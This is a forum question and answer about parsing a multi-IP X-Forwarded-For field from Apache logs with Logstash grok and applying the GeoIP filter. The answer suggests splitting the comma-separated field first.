Logstash GeoIP on X-Fowarded-for - linux

Question

We are using logstash and it's grok filtering to pre-process our Apache Logfiles.
All our machines are behind load balancers, so client IPs are logged into the "X-Forwarded-For" header.
Our access logs look like this:
"18.32.120.32, 192.168.12.118" [07/Sep/2014:15:53:48 +0200] "GET /login HTTP/1.1" 200 137 "http://www.google.com" "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0"
"18.32.120.32, 88.32.240.21, 192.168.12.118" [07/Sep/2014:15:53:48 +0200] "GET /login HTTP/1.1" 200 137 "http://www.google.com" "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0"
the corresponding apache logging directive looks like this:
LogFormat "\"%{X-Forwarded-For}i\" %t %{Host}i \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"
As you can see, the x-forwarded-for header can consist from 1 to 3 IP Addresses, depending on the way the request is received.
We interpret the x-Forwarded-for header as "QuotedString" in the logstash/grok pattern:
CUSTOMLOG %{QUOTEDSTRING:xforwardedfor_header} \[%{HTTPDATE:time}\] %{HOSTNAME:host_header} \"(?:%{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{NUMBER:httpversion})?|%{DATA:rawrequest})\" %{NUMBER:response} (?:%{NUMBER:bytes}|-) %{QUOTEDSTRING:http_referrer} %{QUOTEDSTRING:http_useragent}
If we try to use the GeoIP Module from grok on the xforwardedfor_header field, the geo resolution fails. Shouldn't the module search and use the first IP Address it encounters?
Do we need the interpret the x-forwarded-for entry another way? If so, how?
Thanks very much.

Answer 1

Looking at the geoip source code, it does hanlde an array:
ip = event[#source]
ip = ip.first if ip.is_a? Array
So that tells me that you don't have an array in your xforwardedfor_header -- you have a comma seperated string... so you just need to split it.
filter {
split {
field => xforwardedfor_header
terminator => ','
}
}
Doing that before your geoip filter should fix your issue.